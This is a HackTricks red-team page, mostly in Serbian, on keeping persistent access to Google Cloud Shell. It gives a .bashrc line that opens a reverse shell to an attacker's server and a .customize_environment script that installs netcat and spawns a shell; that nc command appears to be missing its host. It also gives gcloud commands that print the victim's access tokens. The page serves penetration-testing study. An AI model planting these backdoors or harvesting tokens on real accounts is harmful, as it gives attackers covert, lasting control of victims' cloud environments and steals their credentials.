GCP - Cloud Shell Persistence

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Cloud Shell

Za više informacija pogledajte:

GCP - Cloud Shell Enum

Trajni backdoor

Google Cloud Shell vam omogućava pristup komandnoj liniji vaših cloud resursa direktno iz pregledača bez ikakvog troška.

Pristup Google Cloud Shell možete ostvariti iz web konzole ili pokretanjem gcloud cloud-shell ssh.

Ova konzola ima nekoliko zanimljivih mogućnosti za napadače:

  1. Bilo koji Google korisnik sa pristupom Google Cloud ima pristup potpuno autentifikovanoj Cloud Shell instanci (Service Accounts takođe mogu, čak i ako su Owners organizacije).
  2. Ta instanca će zadržati svoj home directory najmanje 120 dana ako nema aktivnosti.
  3. Organizacija nema mogućnosti da nadzire aktivnost te instance.

Ovo praktično znači da napadač može postaviti backdoor u home directory korisnika i, sve dok se korisnik povezuje na GC Shell najmanje svakih 120 dana, backdoor će opstati i napadač će dobiti shell svaki put kada se pokrene jednostavnim:

Add reverse shell to .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

U home folderu se nalazi još jedna datoteka pod nazivom .customize_environment koja, ako postoji, biće izvršena svaki put kada korisnik pristupi cloud shell (kao u prethodnoj tehnici). Jednostavno ubacite prethodni backdoor ili neki poput sledećeg da održite persistence sve dok korisnik “frequently” koristi cloud shell:

Kreiraj .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Važno je napomenuti da se prvi put kada se izvrši radnja koja zahteva autentifikaciju pojavljuje prozor za autorizaciju (pop-up) u korisnikovom pregledaču. Ovaj prozor mora biti prihvaćen pre nego što komanda može da se izvrši. Ako se pojavi neočekivani pop-up, to može izazvati sumnju i potencijalno kompromitovati persistence method koja se koristi.

This is the pop-up from executing gcloud projects list from the Cloud Shell (as attacker) viewed in the browser’s user session:

However, if the user has actively used the Cloud Shell, the pop-up won’t appear and you can prikupiti tokens korisnika pomoću:

Dobijanje access tokens iz Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Kako se uspostavlja SSH konekcija

U suštini, koriste se ova 3 API poziva:

Više informacija možete pronaći na https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks